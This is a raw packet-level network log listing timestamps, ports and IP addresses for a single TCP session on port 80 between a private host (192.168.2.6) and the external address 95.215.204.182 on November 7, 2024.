Nov 7, 2024 17:25:18.067745924 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.067759037 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.067770958 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.067783117 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.067811012 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.067811012 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.067841053 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.069091082 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.069130898 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.069148064 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.069154024 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.069171906 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.069210052 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.069226027 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.069236994 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.069255114 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.069266081 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.069303036 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.069303036 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.071651936 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.071717978 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.071728945 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.071741104 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.071752071 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.071784973 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.071785927 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.071798086 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.071808100 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.071809053 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.071839094 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.071851015 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.071962118 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.071962118 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.071962118 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.071962118 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.073694944 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.073741913 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.073754072 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.073760033 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.073780060 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.073800087 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.073802948 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.073815107 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.073827028 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.073838949 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.073863983 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.073863983 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.073915958 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.073951006 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.073962927 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.073972940 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.073986053 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.073992968 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.073996067 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.073997974 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.074011087 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.074070930 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.074070930 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.074070930 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.074314117 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.074362040 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.074373960 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.074385881 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.074433088 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.074445963 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.074449062 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.074449062 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.074457884 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.074491024 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.074491024 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.075072050 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.075110912 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.075122118 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.075139999 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.075161934 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.075161934 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.075170040 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.075181007 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.075191975 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.075203896 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.075222969 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.075225115 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.075225115 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.075243950 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.075268030 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.075978994 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.075990915 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.076003075 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.076061010 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.076061010 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.076071024 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.076082945 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.076093912 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.076106071 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.076109886 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.076132059 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.076154947 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.076715946 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.076745987 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.076769114 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.076792955 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.076911926 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.076961040 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.076963902 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.076982021 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.076993942 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.077011108 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.077011108 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.077033997 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.077364922 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.077411890 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.077472925 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.077514887 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.077527046 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.077549934 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.077549934 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.077578068 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.077826977 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.077862024 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.077873945 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.077891111 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.077891111 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.077915907 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.077929974 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.077940941 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.077950954 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.077961922 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.077967882 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.077975035 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.077992916 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.078017950 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.078038931 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.078746080 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.078793049 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.078804970 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.078835011 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.078835011 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.078855991 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.078861952 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.078869104 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.078892946 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.078949928 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.079391956 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.079405069 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.079416990 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.079441071 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.079478025 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.079488039 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.079489946 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.079500914 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.079511881 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.079518080 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.079524994 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.079540014 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.079540968 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.079586983 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.080236912 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.080285072 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.080343962 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.080393076 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.080405951 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.080424070 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.080435991 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.080446005 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.080456018 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.080467939 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.080540895 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.081037998 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.081049919 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.081060886 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.081104994 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.081104994 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.081134081 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.081145048 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.081156015 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.081167936 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.081175089 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.081207037 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.081213951 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.081221104 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.081253052 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.081896067 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.081907988 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.081919909 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.081960917 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.081971884 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.081984043 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.081998110 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.081998110 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.081998110 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.081999063 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.082025051 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.082046032 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.082786083 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.082798004 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.082808018 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.082820892 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.082823038 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.082838058 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.082849979 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.082854986 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.082860947 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.082873106 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.082910061 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.082910061 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.082910061 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.083822966 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.083834887 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.083846092 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.083878040 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.083889008 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.083899975 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.083911896 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.083914042 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.083914042 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.083914042 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.083944082 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.084058046 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084069967 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084080935 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084091902 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084099054 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.084105015 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084122896 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084126949 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.084134102 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084145069 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084156990 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084168911 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084178925 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.084178925 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.084191084 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.084264994 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.084554911 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084606886 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.084609985 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084620953 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084659100 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.084666014 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084676981 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084688902 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084701061 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084722996 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.084722996 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.084764004 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.084790945 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084801912 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084813118 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084824085 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084835052 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.084839106 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.084857941 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.084882021 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.085304022 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.085355043 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.085366964 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.085385084 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.085407019 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.085407019 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.085439920 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.085455894 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.085463047 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.085469961 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.085520983 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.085527897 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.085540056 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.085551023 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.085561991 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.085575104 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.085591078 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.085591078 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.085614920 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.085683107 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.085694075 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.085705042 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.085716009 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.085726976 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.085731983 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.085737944 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.085751057 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.085757017 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.085776091 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.085802078 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.086189985 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.086245060 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.086285114 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.086302996 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.086316109 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.086325884 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.086334944 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.086338997 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.086350918 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.086379051 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.086390018 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.086394072 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.086394072 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.086394072 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.086401939 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.086471081 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.086471081 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.086549997 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.086560965 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.086571932 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.086582899 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.086590052 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.086594105 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.086606026 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.086616039 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.086616993 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.086628914 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.086643934 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.086647034 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.086647034 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.086662054 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.086671114 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.086673975 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.086699963 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.086728096 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.087227106 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.087238073 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.087249994 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.087297916 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.087308884 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.087328911 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.087338924 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.087338924 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.087338924 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.087342024 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.087357998 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.087376118 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.087398052 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.087399006 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.087409019 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.087420940 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.087431908 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.087444067 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.087456942 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.087456942 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.087479115 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.087532997 CET	49715	80	192.168.2.6	95.215.204.182
